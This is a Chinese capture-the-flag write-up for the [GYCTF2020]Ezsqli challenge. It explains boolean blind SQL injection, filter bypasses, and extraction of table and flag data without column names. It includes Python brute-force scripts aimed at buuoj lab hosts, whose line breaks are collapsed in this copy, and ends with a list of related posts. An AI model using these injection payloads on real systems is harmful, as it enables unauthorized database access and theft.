[GYCTF2020]Ezsqli

文章目录

ASCII位偏移
参考文章

无列名注入，acii位偏移

打开环境后，是个查询的东西

输入1  返回Nu1L
输入2  返回V&N
输入其他  返回Error Occured When Fetch Result.

fuzz下，发现过滤了挺多的

import requests
import timeflag = ""
url = 'http://2105be2a-2049-46f5-abfc-a6bf19dc2e59.node4.buuoj.cn:81/'
#库名
#payload = "2||ascii(substr(database(),{},1))>{}"
#表名
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))>{}'#表名for i in range(1,100):print(i)low = 32high = 127mid = low + ((high-low)>>1)while(low < high):payload1 = payload.format(i,mid)data = {"id":payload1}print(data)r = requests.post(url,data = data)if r.status_code == 429:print("too fast")time.sleep(0.5)if "Nu1L" in r.text:low = mid + 1else:high = midmid = low + ((high-low)>>1)print(mid)if(mid == 32 or mid == 127):breakflag += chr(mid)print(flag)

ASCII位偏移

select (select 'h')>(select 'g');

select (select 'h')>(select 'i');

同时mysql会自动识别16进制为字符串

基本是两种方法，原理是一样的
第一种：

2||2>1

即当||后面的成立时，返回Nu1L
第二种：

1^(2<1)

当^后面的不成立时，返回Nu1L
第一种贴一下师傅的wp，原链接：夜幕下的灯火阑珊

# coding:utf-8
import requests
import time
url = 'http://f0559a5c-d69d-42db-a4d7-564805f5c24b.node4.buuoj.cn:81/'
def str_hex(s): #十六进制转换 fl ==> 0x666cres = ''for i in s:res += hex(ord(i)).replace('0x','')res = '0x' + resreturn resres = ''
for i in range(1,200):print(i)left = 31right = 127mid = left + ((right - left)>>1)while left < right:key = (str_hex(res+chr(mid)))#key = res + chr(mid)#payload = "1^((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)payload = '2||((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))'.format(key)print(payload)data = {'id':payload }r = requests.post(url = url,  data = data)if r.status_code == 429:print('too fast')time.sleep(2)if 'Nu1L'  in r.text:left = mid + 1elif 'Nu1L' not in r.text:right = mid mid = left + ((right-left)>>1)if mid == 31 or mid == 127:breakres += chr(mid-1) #爆flagprint(str(mid),res)

第二种因为后面要不成立，稍微改动一下

# coding:utf-8
import requests
import time
url = 'http://f0559a5c-d69d-42db-a4d7-564805f5c24b.node4.buuoj.cn:81/'
def str_hex(s): #十六进制转换 fl ==> 0x666cres = ''for i in s:res += hex(ord(i)).replace('0x','')res = '0x' + resreturn resres = ''
for i in range(1,200):print(i)left = 31right = 127mid = left + ((right - left)>>1)while left < right:key = (str_hex(res+chr(mid)))#key = res + chr(mid)#payload = "1^((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)payload = '2||((select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))'.format(key)print(payload)data = {'id':payload }r = requests.post(url = url,  data = data)if r.status_code == 429:print('too fast')time.sleep(2)if 'Nu1L'  in r.text:right = midelif 'Nu1L' not in r.text:left = mid + 1 mid = left + ((right-left)>>1)if mid == 31 or mid == 127:breakres += chr(mid-1) #爆flagprint(str(mid),res)

如果不进行16进制处理的话，会报错，类似于乱码错误

参考文章

夜幕下的灯火阑珊
Y1ng师傅的wp

[GYCTF2020]Ezsqli相关推荐

[BUUCTF][GYCTF2020]Ezsqli
[GYCTF2020]Ezsqli 布尔盲注无列名盲注抓包,存在post的id参数. 进行测试 id=1时, :Nu1L id=0时, :Error Occured When Fetch Resu ...
[GYCTF2020]Ezsqli --BUUCTF
目录分析爆表无列名注入分析先上fuzz跑长度为507的表示被过滤掉了,长度497的回显false,也有可能被过滤删掉的,测试的时候发现注释符被过掉了,对比查询1和1#或1-- 结果都是返回 ...
[GYCTF2020]Ezsqli -wp
打开容器后可以看到一个提交框尝试一下发现可以进行bool盲注0^1 0^(ascii(substr((select database()),1,1))>0) 可以比较顺利的查到库名 give_ ...
Web_SQL注入(1)
前言: 考察SQL注入的赛题很多,而且涉及到的知识也很杂,就总结一下做过的不同类型的SQL注入汇总一下. [GYCTF2020]Blacklist --涉及新知识HANDLER ... OPEN等.堆 ...
【web-ctf】ctf_BUUCTF_web（2）
文章目录 BUUCTF_web SQL注入 1. [RCTF2015]EasySQL 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk 3. [CISCN2019 总决赛 ...
[GYCTF2020]Ez_Express
[GYCTF2020]Ez_Express dirsearch 扫到源码 www.zip 首先回顾一下原型链污染在我们调用一个对象的某属性时: 1.对象(obj)中寻找这一属性 2.如果找不到,则在 ...
[GYCTF2020]Blacklist 使用handler函数进行sql堆注入
[GYCTF2020]Blacklist 前言文章所涉及的资料来自互联网整理和个人总结,意在于个人学习和经验汇总,如有什么地方侵权,请联系本人删除,谢谢!本文仅用于学习与交流,不得用于非法用途! 参 ...
BUUCTF [GYCTF2020] Blacklist
BUUCTF [GYCTF2020] Blacklist 启动靶机: 提交参数1后正常回显内容: 输入2/2判断注入类型: 回显为2,可以判断出为字符型注入输入select,查看是否存在回显: re ...
[GYCTF2020]Blacklist 1
[GYCTF2020]Blacklist 1 在做本题的时候,我们发现过滤掉了很多的关键字很多注入方法已经没有办法使用(联合查询布尔盲注 updataxml的报错注入) 并且发现本关的注入方法为 ...

[GYCTF2020]Ezsqli

文章目录

ASCII位偏移

参考文章

[GYCTF2020]Ezsqli相关推荐

最新文章

热门文章